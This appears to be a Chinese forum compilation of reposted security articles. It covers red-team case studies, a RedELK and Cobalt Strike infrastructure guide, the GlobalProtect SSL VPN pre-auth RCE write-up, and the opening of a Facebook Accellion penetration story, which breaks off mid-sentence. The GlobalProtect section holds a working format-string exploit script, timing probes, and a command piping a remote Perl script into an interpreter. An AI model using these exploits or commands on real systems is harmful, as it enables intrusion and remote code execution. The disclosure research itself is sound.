根据收集到的情报信息,小H团队以(子公司B)内的7名员工作为入口点,在其接入(子公司B)内网时,利用域权限在其电脑种植木马后门。待其接入(子公司C)内网时,继续通过员工计算机实施内网渗透,并获取(子公司C)域控制权限。根据日志分析,锁定了(目标系统x)管理员电脑,继而获取(目标系统x)管理员登陆账号,最终获取(目标系统x)控制权限。 四、顺手牵羊——巧妙种马实施控制 红队永远不会像渗透测试那样,根据一个工作流程或者漏洞测试手册,按照规范去做就能完成任务。红队的工作永远是具有随机性、挑战性、对抗性的。在工作过程中,总会有各种出其不意的情况出现,只有能够随机应变,充分利用出现的各种机遇,才能最终突破目标完成任务,小P这次做的目标就是如此。 小P团队通过挖掘目标企业OA系统的0Day漏洞,继而获得了Webshell权限。然而脚跟还没站稳,蓝队的管理员便发现了OA系统存在异常,对OA系统应用及数据库进行了服务器迁移,同时修复了漏洞。 本来是个很悲伤的事情,然而小P测试发现:蓝队虽然对OA系统进行了迁移并修复了漏洞,但是居然没有删除全部Webshell后门脚本。部分后门脚本仍然混杂在OA程序中,并被重新部署在新的服务器。攻击队依然可以连接之前植入的Webshell,顺利提权,拿到了服务器权限。 拿到服务器权限后,小P团队发现蓝队的管理员居然连接到OA服务器进行管理操作,并将终端PC主机的磁盘全部挂载到OA服务器中。“既来之,则安之”,小P发现这是一个顺手牵羊的好机会。 小P团队小心翼翼地对管理员身份及远程终端磁盘文件进行确认,并向该管理员的终端磁盘写入了自启动后门程序。经过了一天的等待,蓝队管理员果然重启了终端主机,后门程序上线。在获取到管理员的终端权限后,小P很快发现,该管理员为单位运维人员,主要负责内部网络部署、服务器运维管理等工作。该管理员使用MyBase工具对重要服务器信息进行加密存储,攻击队通过键盘记录器,获取了MyBase主密钥,继而对MyBase数据文件进行了解密,最终获取了包括VPN、堡垒机、虚拟化管理平台等关键系统的账号及口令。 最终,小P团队利用获取到的账号口令登录到虚拟化平台中,定位到演习目标系统的虚拟主机,并顺利获取了管理员权限。至此,工作正式完成! 五、 暗渡陈仓——迂回渗透取得突破 在有明确重点目标的实战攻防演习中,通常蓝队都会严防死守、严阵以待,时时刻刻盯着从外网进来的所有流量,不管你攻还是不攻,他们始终坚守在那里。发现有可疑IP立即成段地封堵,一点机会都不留。此时,从正面硬刚显然不划算,红队一般会采取暗度陈仓的方式,绕过蓝队的防守线,从其他没有防守的地方去开展迂回攻击,小M这回遇到的就是这样一个硬骨头。 小M团队在确定攻击目标后,对目标企业的域名、ip段、端口、业务等信息进行收集,并对可能存在漏洞目标进行尝试性攻击。结果发现大多数目标要么是都已关闭,要么是使用高强度的防护设备。在没有0day且时间有限情况下,小M决定放弃正面突破,采取暗度陈仓策略。 通过天眼查网站,小M了解到整个公司的子公司及附属业务分布情况,目标业务覆盖了香港、台湾、韩国、法国等地,其中香港包涵业务相对较多,极大可能有互相传送数据及办公协同的内网,故决定选择从香港作为切入点。 经过对香港业务进行一系列的踩点刺探,小M团队在目标企业的香港酒店业务网站找到一个SA权限的注入点,成功登陆后台并利用任意文件上传成功getshell。通过数据库SA权限获取数据库服务器system权限,发现数据库服务器在域内且域管在登录状态。因服务器装有赛门铁克,因此采取添加证书的方式,成功绕过杀软并抓到域管密码,同时导出了域hash及域结构。 在导出的域结构中发现了国内域的机器,于是小M团队开始尝试从香港域向目标所在的国内域开展横向渗透。在国内域的IP段内找到一台服务器并getshell,提权后抓取此服务器密码。利用抓取到的密码尝试登陆其他服务器,成功登陆到一台杀毒服务器,并在杀毒服务器上成功抓到国内域的域管密码。使用域管账号成功控制堡垒机、运维管理、vpn等多个重要系统。 通过大量的信息收集,小M团队最终获得了渗透目标的IP地址,利用前期收集到的账号密码,成功登陆目标系统,并利用任意文件上传漏洞拿到服务器权限。 至此,整个渗透工作结束。 0x 05 红队眼中的防守弱点 通过对政府、央企、银行、证券、民生、运营商、互联网等行业的红队实战工作,发现各行业安全防护具备如下特点: 一、资产混乱、隔离策略不严格 除了大型银行之外,很多行业对自身资产情况比较混乱,没有严格的访问控制(ACL)策略,且办公网和互联网之间大部分相通,可以直接使远程控制程序上线。 除了大型银行与互联网行业外,其他很多行业在DMZ区和办公网之间不做或很少做隔离,网络区域划分也不严格,给了红队很多可乘之机。 此外,几乎所有行业的下级单位和上级单位的业务网都可以互通。而除了大型银行之外,其他很多行业的办公网也大部分完全相通,缺少必要的分区隔离。所以,红队往往可以轻易地实现实施从子公司入侵母公司,从一个部门入侵其他部门的策略。 二、通用中间件未修复漏洞较多 通过中间件来看,Weblogic、Websphere、Tomcat、Apache、Nginx、IIS都有使用。Weblogic应用比较广泛,因存在反序列化漏洞,所以常常会被作为打点和内网渗透的突破点。所有行业基本上都有对外开放的邮件系统,可以针对邮件系统漏洞,譬如跨站漏洞、XXE漏洞等来针对性开展攻击,也可以通过钓鱼邮件和鱼叉邮件攻击来开展社工工作,均是比较好的突破点。 三、边界设备成为进入内网的缺口 从边界设备来看,大部分行业都会搭建VPN设备,可以利用VPN设备的一些SQL注入、加账号、远程命令执行等漏洞开展攻击,亦可以采取钓鱼、爆破、弱口令等方式来取得账号权限,最终绕过外网打点环节,直接接入内网实施横向渗透。 四、内网管理设备成扩大战果突破点 从内网系统和防护设备来看,大部分行业都有堡垒机、自动化运维、虚拟化、邮件系统和域环境,虽然这些是安全防护的集中管理设备,但往往由于缺乏定期的维护升级,反而都可以作为开展权限扩大的突破点。 from:https://www.qianxin.com/threat/reportdetail/32?type=report_apt_list
  16. 0x00 前言简介 红队的SIEM有两个主要目标: 通过创建一个集中管理中心,收集和丰富来自多个 teamservers的所有相关操作日志,增强了红队人员的可用性和概述。这对于在操作中进行历史搜索以及提供操作的可预览视图(例如蓝队)非常有用。特别适用于多场景、多teamservers、多成员和多时间操作。此外,查看所有屏幕截图、IOC、键盘输出等简单方法 通过一个集中管理中心收集和丰富来自重定向器的所有流量日志来发现蓝队。使用特定的查询,现在可以检测到蓝团队正在探测您的基础结构设施。 项目地址:https://github.com/outflanknl/RedELK 0x01 体系架构概述 以下是RedELK如何运行的体系架构概述。 redelk使用典型的组件filebeat(传送)、logstash(过滤)、elasticsearch(存储)和kibana(查看)。rsync用于teamserver数据的第二次同步:日志、键盘输入、截图等。nginx用于对kibana进行身份验证,并在操作员浏览器中以简单的方式提供截图、beaconlogs、键盘输入。 一组python脚本用于大量丰富日志数据,以及用于Blue Team检测。 0x02 安装和配置 执行安装需要几个重要步骤。每个步骤都需要执行: 1.生成密钥和包 我们需要生成用于加密重定向器/ teamservers和redelk服务器之间的filebeat流量的TLS密钥对。 配置./certs/config.cnf以包含TLS证书的正确详细信息。在该文件中列出正确的IP(IP.1)或DNS(DNS.1)名称非常重要!这些需要指向RedELK服务器的IP或DNS。否则,您的TLS设置将不起作用,Logstash将启动失败并严重崩溃,日志中存在隐藏的错误。 完成后,运行:initial-setup.sh ./certs/config.cnf这将创建一个CA,为redirs,teamserver和elkserver之间的安全通信生成必要的证书,并为Elkserver到TeamServer的安全rsync身份验证生成一个ssh密钥对。 它还生成teamservers.tgz、redirs.tgz和elkserver.tgz,其中包含每个组件的安装包。您需要将这些TGZ文件复制到相关的系统中(TeamServers,redirs-en,将用作RedELK中心节点的系统) 只有在需要使用新的TLS密钥时才需要重新运行此初始设置。如果是这种情况,请删除./certs/redelkCA.*和./certs/elkserver.*文件,并重新运行initial-setup.sh ./certs/config.cnf 2.重定向器安装的配置 目前仅支持haproxy服务器 作为红队基础设施部署过程的一部分,在重定向器上复制并解压缩redirs.tgz。行:install-redir.sh$filebeatid$scenarioname$ip/dns:port $ FilebeatID是filebeat中重定向器的标识符。 $ ScenarioName是重定向器用于攻击方案的名称。 $ip/dns:port是filebeat日志发送的IP或DNS名称和端口的信息,这将是redelk服务器的IP/dns。即使使用默认端口(TCP/5044),也需要将其作为参数提供。 此脚本将设置时区(默认为Europe / Amsterdam,但您可以在脚本中更改此内容),安装filebeat和依赖项,安装所需证书,修改filebeat配置并启动filebeat。 (1).HAProxy细节 RedELK需要修改默认的haproxy配置才能记录更多详细信息。 在“默认值”部分: log-format frontend:%f/%H/%fi:%fp\ backend:%b\ client:%ci:%cp\ GMT:%T\ useragent:%[capture.req.hdr(1)]\ body:%[capture.req.hdr(0)]\ request:%r 在“前端”部分: declare capture request len 40000 http-request capture req.body id 0 capture request header User-Agent len 512 (2).HAProxy配置文件示例 下面的配置是haproxy的一个运行示例。这适用于默认的Cobalt Strike配置文件 log 127.0.0.1 local2 debug maxconn 2000 user haproxy group haproxy defaults log global mode http option httplog option dontlognull retries 3 option redispatch timeout connect 5000 timeout client 10000 timeout server 10000 log-format frontend:%f/%H/%fi:%fp\ backend:%b\ client:%ci:%cp\ GMT:%T\ useragent:%[capture.req.hdr(1)]\ body:%[capture.req.hdr(0)]\ request:%r frontend www-https option http-buffer-request declare capture request len 40000 http-request capture req.body id 0 capture request header User-Agent len 512 log /dev/log local2 debug bind :::443 v4v6 ssl crt /etc/letsencrypt/live/haproxy.pem reqadd X-Forwarded-Proto:\ https acl path_cs path -m beg /dpixel acl path_cs path -m beg /submit.php acl path_cs path_reg ^/[0-z][0-z][0-z][0-z]$ use_backend cobaltstrike-https if path_cs default_backend www-decoy timeout client 1m frontend www-http mode http option http-buffer-request declare capture request len 40000 http-request capture req.body id 0 capture request header User-Agent len 512 log /dev/log local2 debug bind :::80 v4v6 reqadd X-Forwarded-Proto:\ http acl path_cs path -m beg /dpixel acl path_cs path -m beg /submit.php acl path_cs path_reg ^/[0-z][0-z][0-z][0-z]$ use_backend cobaltstrike-http if path_cs default_backend www-decoy timeout client 1m backend www-decoy mode http http-request set-header Host localhost server localhost localhost:80 backend cobaltstrike-https option forwardfor server teamserver ${FQDNteamserver}:443 check ssl verify none backend cobaltstrike-http option forwardfor server teamserver ${FQDNteamserver}:80 3.Teamserver安装和配置 在Cobalt Strike TeamServer上复制并解压缩teamservers.tgz,作为红队基础设施部署过程的一部分。运行:install-teamserver.sh$filebeatid$scenarioname$ip/dns:port $ FilebeatID是filebeat中teamserver的标识符。 $ ScenarioName是teamserver用于攻击方案的名称。 $ip/dns:port是filebeat日志发送的IP或DNS名称和端口的信息,这将是redelk服务器的IP/dns。即使使用默认端口(TCP/5044),也需要将其作为参数提供。 如果已经安装了filebeat,则此脚本将发出警告(这一点很重要,因为elk和filebeat有时对于版本相同非常挑剔),设置时区(默认为Europe / Amsterdam,但您可以在脚本中更改此内容),安装filebeat和依赖项,安装所需书,修改filebeat配置,启动filebeat,创建本地用户'scponly'并通过scp,sftp,rsync将该用户限制为基于ssh密钥的身份验证。 4.RedELK安装和配置 (1).安装 作为红队基础设施部署过程的一部分,在RedELK服务器上复制并解压缩elkserver.tgz。 运行:install-teamserver.sh(不需要参数) 此脚本将设置时区(默认为Europe / Amsterdam,但您可以在脚本中更改此内容),安装logstash,elasticsearch,kibana和依赖项,安装所需证书,部署logstash配置和所需的自定义ruby扩展脚本,下载GeoIP数据库,安装Nginx,配置Nginx,使用先前生成的SSH密钥创建本地用户'redelk',在TeamServers上安装用于rsyncing远程日志的脚本,安装用于创建屏幕截图缩略图的脚本,安装RedELK配置文件,安装crontab文件用于RedELK任务,安装GeoIP elasticsearch插件并配置模板,安装python扩展脚本,最后安装python蓝队检测脚本。 还没有完成。需要在/etc/cron.d/redelk中手动输入teamservers的详细信息,并在/etc/redelk中调优配置文件(请参见下面的部分) (2).配置 在/etc/redelk目录中的ELK服务器上,您可以找到几个可用于调整RedELK实例的文件,以获得更好的丰富功能和更好的警报。有些是必须的,有些则可选的 必须性配置: /etc/redelk/alarm.json.conf:警报运行所需的详细信息。这包括用于在线服务的API密钥(Virus Total,IBM X-Force等)以及通过电子邮件发送警报所需的SMTP详细信息。如果不在此文件中输入您的详细信息,将导致REDELK无法使用其报警功能。 建议性配置: /etc/redelk/iplist_redteam.conf:红队的公共IP地址,每行一个。便于识别红队成员进行的测试。在此处包含地址 的设置是将redirhaproxy- *索引中的适用记录设置一个标记。 /etc/redelk/iplist_customer.conf:目标的公共IP地址,每行一个。在此处包含地址的设置是将为redirhaproxy- *索引中的适用记录设置一个标记。 /etc/redelk/iplist_unknown.conf:您尚不确定的网关的公共IP地址,但不希望再次收到警告。每行一个。在此处包含地址的设置将为redirhaproxy- *索引中的适用记录设置一个标记 /etc/redelk/rogue_useragents.conf:用户代理在访问C2后端时出现已知错误。已经包含了一个基本的UAs列表,如curl,python-urllib和Blue Teamers喜欢使用的一些其他工具。该列表还包含即时消息工具的UAs列表,例如WhatsApp,Skype和Slack。当C2使用IM在分析员之间共享时非常有用。请随意将UAs添加到此列表中。 /etc/redelk/known_testsystems.conf:已知测试系统的beacon特征。您可能想要添加有关您自己的测试系统的信息。每行一个。此处包含数据的配置将在rtops- *索引中为适用记录设置一个标记。要将身份验证更改为nginx,请更改/etc/nginx/htpasswd.users以包含您的首选凭据。或者在初始设置之前对/redelk/elkserver/etc/nginx/htpasswd.users文件进行配置。 不建议编辑的其他配置文件: /etc/redelk/abusbotnetc2ip.conf:由abuse.ch列出的已知c2 ip地址的自动更新列表 /etc/redelk/abussslcert.conf:由abuse.ch列出的c2 tls证书,c2已知的自动更新哈希列表。 /etc/redelk/roguedomains.conf :来自多个来源的已知坏域的自动更新列表。 /etc/redelk/torexitnodes.conf :已知TOR出口节点IP地址的自动更新列表。 /etc/redelk/known_sandboxes.conf:已知AV沙箱系统的beacon特征。每行一个。此处包含数据的配置将在rtops- *索引中为适用记录设置一个标记。随着越来越多的沙箱具有完全随机的名称,因此这不再具有真正的相关性。 /etc/redelk/redteamdomains.conf:攻击性基础设施使用的域列表。由于还没有进行报警编码来检查,因此不需要编辑此文件。 如果在初始安装之前更改这些文件,这些更改将包含在.tgz包中,并可用于未来的安装。这些文件可以在/redelk/elkserver/etc/redelk中找到。 0x03日常用法 RedELK有两个主要使用场景: 1.红队运行概述 (1).首次登录 浏览到RedELK服务器的IP地址,并使用Nginx的凭据登录(默认为redelk:redelk)。您现在位于Kibana界面中。 您可能需要在此处执行两项操作:查看仪表盘,或者查看并搜索更详细的数据。您可以使用左侧栏上的按钮(默认Kibana功能)在这些视图之间切换。 (2).仪表盘 单击左侧的仪表盘图标,您将得到2个选项:Traffic和Beacon (3).详细查找和搜索数据 单击“发现”按钮以更详细地查看和搜索数据。完成后,单击要使用的时间范围,然后单击“打开”按钮,使用其中一个准备好的视图搜索。 (3).Beacon数据 当选择搜索“TimelineOverview”时,您将看到一个易于使用的Cobalt Strike团队服务器数据视图,如果您愿意,可以使用Beacon事件的时间线。该视图包括您想要的相关列,例如时间戳、测试场景名称、用户名、BeaconID、主机名、操作系统和操作系统版本。最后,将显示来自Cobalt Strike的完整消息 您可以根据自己的喜好修改此搜索。此外,因为它是elasticsearch,您可以使用搜索栏搜索此索引中的所有数据。 单击记录的详细信息将显示完整的详细信息。可用性的一个重要字段是beaconlogfile字段。此字段是一个超链接,链接到该记录的完整Beacon日志文件。它允许您在更大的窗口中查看Beacon记录并在其中使用CTRL + F. (4).截图 Redelk提供了一种简单的方法,可以查看从您的目标中生成的所有截图。选择“截图”搜索以获取此详细信息。我们添加了两个很大的可用性内容:缩略图和完整图片的超链接。缩略图可以快速滚动并给您一个直接的印象:通常你记得截图是什么样子的。 (5).键盘输入 和截图一样,简单地概述所有键盘输入操作非常方便。此搜索为您提供了第一行内容,以及指向完整键盘输入日志文件的超链接。 (6).IOC数据 为了快速获得所有IOC的列表,Redelk提供了一个简单的概述。只需使用“iocs”搜索即可获得此列表。这将显示来自Cobalt Strike的所有IOC数据,包括来自文件和服务的数据。 您可以通过点击顶部栏中的“报告”按钮快速导出此列表,以生成此精确视图的CSV。 (7).下载 RedELK提供了一种简单的方法来查看在红队运行期间下载的每个文件。您可以通过“下载”搜索找到此信息。现在可以获得所有下载文件的列表,包括所有相关的元数据,这些都是可搜索的。但更重要的是,您还可以直接从Web浏览器下载实际文件。由于RedELK从每个TeamServer收集所有数据时,这意味着您在整个操作中拥有来自每个TeamServer的所有下载文件。不再需要使用Cobalt Strike客户端登录(并同步)到每个TeamServer。 2.蓝队检测 (1).Aproach 为了检测蓝队活动: Elasticsearch中存储的数据 在线服务提供蓝队可能因OPSEC配置不当而放置的一些信息。 (2).配置文件 FSD (3).检查 FSD 0x04 hood使用 redelk使用典型的组件filebeat(传送)、logstash(过滤)、elasticsearch(存储)和kibana(查看)。rsync用于teamserver数据的第二次同步:日志、键盘输入、截图等。nginx用于对kibana进行身份验证,并在操作员浏览器中以简单的方式提供截图、beaconlogs、键盘输入. 一组python脚本用于大量丰富日志数据和蓝队检测。 更多细节描述如下: 1.脚本 如果您想在elk服务器的hood下查看,请查看/etc/cron.d/redelk中的redelk cron文件。它在/usr/share/redelk/bin/中启动几个脚本。有些脚本是为了丰富内容,另一些则用于警告。这些脚本的配置是通过/etc/redelk/中的配置文件完成的。logstash中还进行了大量的扩展(包括为截图生成超链接等)。您可以直接从/etc/logstash/conf.d/中的logstash配置文件中检查出来。 2.日志 在安装过程中,所有安装操作都记录在当前工作目录的日志文件中。 redelk在TeamServer和redelk服务器上的操作期间生成的日志。您可以在/var/log/redelk中找到这些日志。除了所有典型的elasticsearch、logstash等日志之外,您可能只需要将其用于故障排除。 redelk使用典型的组件filebeat(传送)、logstash(过滤)、elasticsearch(存储)和kibana(查看)。rsync用于teamserver数据的第二次同步:日志、键盘输入、截图等。nginx用于对kibana进行身份验证,并在操作员浏览器中以简单的方式提供截图、beaconlogs、键盘输入。 一组python脚本用于大量丰富日志数据,以及用于Blue Team检测。 0x05 参考地址 https://github.com/outflanknl/Presentations/raw/master/MirrorOnTheWall_BruCon2018_UsingBlueTeamTechniquesinRedTeamOps_Bergman-Smeets_FINAL.pdf https://github.com/outflanknl/Presentations/raw/master/x33fcon2019_OutOfTheBlue-CatchingBlueTeamOPSECFailures_publicversion.pdf https://www.youtube.com/watch?v=ZezBCAUax6c https://github.com/outflanknl/Presentations/raw/master/HackInParis2019_WhoWatchesTheWatchmen_Bergman-Smeetsfinal.pdf https://www.youtube.com/watch?v=OjtftdPts4g https://github.com/outflanknl/RedELK
  17. 0x00 前言 SSL VPN虽然可以保护企业资产免受互联网被攻击的风险影响,但如果SSL VPN本身容易受到攻击呢?它们暴露在互联网上,可以可靠并安全地连接到内网中。一旦SSL VPN服务器遭到入侵,攻击者就可以渗透到内网,甚至接管所有连接到ssl-vpn服务器的用户!由于其重要性,在过去几个月中,我们开始对安全领先的SSL VPN产品进行安全研究。 我们计划用3篇文章上发布我们的结果。我们把本文作为第一篇,因为我们认为这是一个有趣的故事,非常适合作为我们Black Hat USA and DEFCON 的彩头: 像NSA一样渗透企业内网 - 在安全领先的SSL VPN上执行RCE 不要担心破坏者,这个故事不包含在我们的BHUSA / DEFCON会议中。 在我们即将到来的演示中,我们将提供更多的核心利用和疯狂的bug链,来入侵您的SSL VPN。从我们如何越狱设备以及我们关注的攻击向量来看。我们还将演示从唯一暴露的HTTPS端口获取root shell,隐蔽地将服务器武器化以对抗其所有者,并滥用隐藏功能来接管所有VPN客户端!所以请期待它;) 0x01 故事开头 在本文中,我们将讨论Palo Alto SSL VPN上的漏洞。Palo Alto称他们的SSL VPN产品为GlobalProtect。您可以通过302重定向到/global-protect/login.esp Web根目录轻松识别GlobalPortect服务! 关于此漏洞,我们在红队评估服务期间意外发现了该漏洞。起初,我们以为这是0day。但是,我们在最新版本的GlobalProtect的远程服务器上复现失败.所以我们开始怀疑这是否是一个已知的漏洞。 我们在互联网上搜索,但找不到任何有关的信息。在[1]没有公开的RCE漏洞利用之前,没有官方的咨询包含任何类似的信息,也没有CVE。 在之前的Pan-OS管理界面有一些漏洞,如CVE-2017-15944和@u fel1X的优秀troppers16论文,但不幸的是,他们没有提及到globalprotect和管理界面只暴露了局域网端口。 0x02 The bug 这个bug非常简单。它只是一个简单的格式字符串漏洞,无需身份验证!sslmgr是处理服务器和客户端之间的ssl握手的ssl网关。该守护进程由nginx反向代理代理,可以通过路径/sslmgr进行访问。 $ curl https://global-protect/sslmgr <?xml version="1.0" encoding="UTF-8" ?> <clientcert-response> <status>error</status> <msg>Invalid parameters</msg> </clientcert-response> 在参数提取期间,守护程序搜索字符串scep-profile-name并将其值作为snprintf格式传递,以填充缓冲区。这导致格式字符串被攻击。。您可以使用%n!使服务崩溃! POST /sslmgr HTTP/1.1 Host: global-protect Content-Length: 36 scep-profile-name=%n%n%n%n%n... 0x03 影响版本 根据我们的调查,2018年7月之前的GlobalProtect都很脆弱!以下是影响版本列表: Palo Alto GlobalProtect SSL VPN 7.1.x <7.1.19 Palo Alto GlobalProtect SSL VPN 8.0.x <8.0.12 Palo Alto GlobalProtect SSL VPN 8.1.x <8.1.3 9.x和7.0.x系列不受此漏洞的影响。 0x04 如何验证BUG 虽然我们知道bug的位置,但验证漏洞仍然不容易。此格式字符串没有输出,因此我们无法获取泄漏的任何地址来验证bug。而崩溃服务永远不是我们的首选[1]。为了避免服务崩溃,我们需要找到一种不影响系统正常运行而验证漏洞的方法! 通过阅读snprintf手册,我们选择%c作为我们的小工具!如果在格式化之前有一个数字,例如%9999999c,则snprintf会在内部重复请求相应的时间。我们观察大量重复次数的响应时间来验证这个漏洞! $ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null real 0m1.721s user 0m0.037s sys 0m0.005s $ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null real 0m2.051s user 0m0.035s sys 0m0.012s $ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null real 0m5.324s user 0m0.021s sys 0m0.018s 如您所见,响应时间随着%c的数目而增加。因此,从时间差异来看,我们可以准确地识别易受攻击的ssl-vpn! 虽然有一个监视程序监视sslmgr守护进程,但仍然不适合崩溃服务! 0x05 利用 一旦我们可以验证bug,利用就很容易了。要成功利用二进制文件,我们需要首先确定详细版本。我们可以通过Last-Modified标头进行区分,例如8.x版本的/global protect/portal/css/login.css和7.x版本的/images/logo_pan_158.gif $ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT 使用指定的版本,我们现在可以编写自己的漏洞。我们简单地将全局偏移表(GOT)上strlen的指针修改为系统的程序链接表(plt)。以下是其POC: #!/usr/bin/python import requests from pwn import * url = "https://sslvpn/sslmgr" cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt" strlen_GOT = 0x667788 # change me system_plt = 0x445566 # change me fmt = '%70$n' fmt += '%' + str((system_plt>>16)&0xff) + 'c' fmt += '%32$hn' fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c' fmt += '%24$hn' for i in range(40,60): fmt += '%'+str(i)+'$p' data = "scep-profile-name=" data += p32(strlen_GOT)[:-1] data += "&appauthcookie=" data += p32(strlen_GOT+2)[:-1] data += "&host-id=" data += p32(strlen_GOT+4)[:-1] data += "&user-email=" data += fmt data += "&appauthcookie=" data += cmd r = requests.post(url, data=data) 修改完成后,sslmgr将成为我们的Webshell,我们可以通过以下方式执行命令: $ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr 我们已向Palo Alto通过报告此bug。但是,我们得到了以下回复: Hello Orange, Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know. 0x06 案例研究 在我们意识到这不是0day之后,我们调查了全世界的所有Palo Alto SSL VPN,看看是否有大公司在使用易受攻击的GlobalProtect,Uber就是其中之一!根据我们的调查,Uber在全球拥有大约22台运行GlobalProtect的服务器,这里我们以vpn.awscorp.uberinternal.com为例! 从域名来看,我们猜测Uber使用的是来自AWS Marketplace的byol 。从登录页面看,Uber似乎使用8.x版本,我们可以从概述页面上支持的版本列表中找到可能的目标版本: 8.0.3 8.0.6 8.0.8 8.0.9 8.1.0 最后,我们找到了版本,它是8.0.6,我们得到了shell! from : https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/
  18. 0x00 写在故事之前 身一位渗透测试人员,比起 Client Side 的弱点,我更喜欢 Server Side 的攻击,能够直接控制服务器并获得权限操作 SHELL 才爽 。 当然一次完美的渗透出现任何形式的弱点都不可小视,在实际渗透时偶尔还是需要些 Client Side 弱点组合可以更完美的控制服务器,但是在寻找弱点时我本身还是先偏向于以可直接进入服务器的方式去寻找风险高、能长驱直入的弱点。随著 Facebook 在世界上越来越火、用户数量越来越多,一直以来都有想要尝试渗透目标的想法,恰好 Facebook 在 2012 年开始有了 Bug Bounty 奖金猎人的机制让我更加有兴趣渗透。 一般如由渗透的角度来说习惯性都会从收集资料、探测开始,首先界定出目标在网路上的 “范围” 有多大,姑且可以评估一下从何处比较有机会下手。例如: Google Hacking 能得到什么资料? 有几个 B 段的 IP ? C 段的 IP ? Whois? Reverse Whois? 有什么域名? 内部使用的域名? 接著做子域名的猜测、扫描 公司平常爱用什么样技术、设备? 在 Github, Pastebin 上是否有泄露的信息? …etc 当然 Bug Bounty 并不是让你无限制的攻击,将所遇到的范围与 Bug Bounty 所允许的范围做交集后才是你真正可以去尝试的目标。 一般来说大公司在渗透中比较容易出现的问题点这里例举几个例子来探讨: 对多数大公司而言,”网路边界” 是比较难顾及、容易出现问题的一块,当公司规模越大,同时拥有数千、数万台机器在线,管理员很难顾及到每台机器。在攻防中,防守要防的是一个面,但攻击只需找个一个点就可以突破,所以防守方相对于弱势,攻击者只要找到一台位于网路边界的机器入侵进去就可以开始在内网进行渗透了! 对于 “连网设备” 的安全意识相对薄弱,由于连网设备通常不会提供 SHELL 给管理员做进一步的操作,只能由设备本身所提供的界面设定,所以通常对于设备的防御都是从网路层来防御,但如遇到设备本身的 0-Day 或者是 1-Day 可能连被入侵了都无感应。 人的安全,随著 “社工库” 的崛起,有时可以让一次渗透的流程变得异常简单,从公开资料找出公司员工列表,再从社工库找到可以登入 VPN 的员工密码就可以开始进行内网渗透,尤其当社工库数量越来越多 “量变成质变” 时只要关键人物的密码在社工库中可找到,那企业的安全性就全然被突破 : 在寻找 Facebook 弱点时会以平常的思路进行渗透,在开始搜集资料时除了针对 Facebook 本身域名查询外也对注册邮箱进行 Reverse Whois, 意外发现了个有趣的域名名称 tfbnw.net TFBNW 似乎是 “TheFacebook Network” 的缩写 再由公开资料发现存在下面这台服务器 vpn.tfbnw.net 哇! vpn.tfbnw.net 看起来是个 Juniper SSL VPN 的登录界面,不过版本是最新你的,并没有直接可利用的弱点,不过这也成为了进入其内部故事的开端。 TFBNW 看似是 Facebook 内部用的域名,来扫扫 vpn.tfbnw.net 同网段会有什么发现 Mail Server Outlook Web App F5 BIGIP SSL VPN CISCO ASA SSL VPN Oracle E-Business MobileIron MDM 从这几台机器大致可以判断这个网段对于 Facebook 来说应该是相对重要的网段,之后一切的故事就从这里开始 0x01 前期弱点收集 在同网段中,发现一台特别的服务器 files.fb.com files.fb.com 登陆界面 从 LOGO 以及 Footer 判断应该是 Accellion 的 Secure File Transfer (以下简称 FTA) FTA 为一款安全文档传输的产品,可让让使用者进行线上分享、同步文档,并整合 AD, LDAP, Kerberos 等 Single Sign-on 机制,Enterprise 版本更支持 SSL VPN 服务。 首先看到 FTA 的第一件事是去网络上搜索是否有公开的 Exploit 是否可以被利用,Exploit 最近的是由 HD Moore 发现并发布在 Rapid7 的这篇 Advisory文章 Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857) 弱点中可直接从 “/tws/getStatus” 中泄露的版本信息判断是否可被利用,在发现 files.fb.com 时该版本已从有漏洞的 0.18 升级至 0.20 了,不过就从 Advisory 中所透泄露的代码中感觉 FTA 的编写风格,如果再继续挖掘可能还是会有问题存在的,所以这时的策略便开始往寻找 FTA 产品的 0-Day! 不过从实际黑盒的方式其实找不出什么问题点,只好想办法将方向转为百盒测试,通过各种方式拿到旧版的 FTA 原始代码后终于可以开始研究了! 整个 FTA 产品大致架构 网页端介面主要由 Perl 以及 PHP 构成 PHP 原始代码都经过 IonCube 加密 在其项目中跑了许多 Perl 的 Daemon 首先是解密 IonCude 的部分,许多设备为了防止自己的产品被泄露,所以会将原始码加密,不过好在 FTA 上的 IonCude 版本不是最新的,可以使用现成的工具解密,不过由于 PHP 版本的问题,细节部份以及数值运算等可能要靠自己修复一下,不然有点难看… 经过简单的源代码审计后发现,好找的弱点应该都被 Rapid7 找到了T^T 而需要认证才能触发的漏洞又不怎么好用,只好认真地往深层一点的地方挖掘! 经过几天的认真挖掘,最后总共发现了七个弱点,其中包含了 Cross-Site Scripting x 3 Pre-Auth SQL Injection leads to Remote Code Execution Known-Secret-Key leads to Remote Code Execution Local Privilege Escalation x 2 除了向Facebook 安全团队报告漏洞外,其余的漏洞弱点也编写成Advisory 提交 Accellion 技术文档,经过向厂商提交 修补CERT/CC 后取得四个 CVE 编号 CVE-2016-2350 CVE-2016-2351 CVE-2016-2352 CVE-2016-2353 详细的弱点细节会在 Full Disclosure Policy 后公布! 使用 Pre-Auth SQL Injection 写入 Webshell 在实际渗透中进入服务器后的第一件事情就是检查当前的环境是否对自己有用,为了要让自己可以在服务器上维持久的权限,就要尽可能的了解服务器上有什么限制、记录,避开可能会被发现的风险 :P Facebook 大致有以下限制: 防火牆无法连接外部网络, TCP, UDP, 53, 80, 443 皆无法连接 存在远端的 Syslog 服务器 开启Auditd 记录 无法外连看起来有点麻烦,但是 ICMP Tunnel 看似是可行的,但这只是一个 Bug Bounty Program 其实不需要太麻烦就纯粹以 Webshell 操作即可。 0x02 渗透测试过程 正当收集漏洞证据向 Facebook 安全团队报告时,从网页日志中似乎看到一些奇怪的痕迹。 首先是在 “/var/opt/apache/php_error_log” 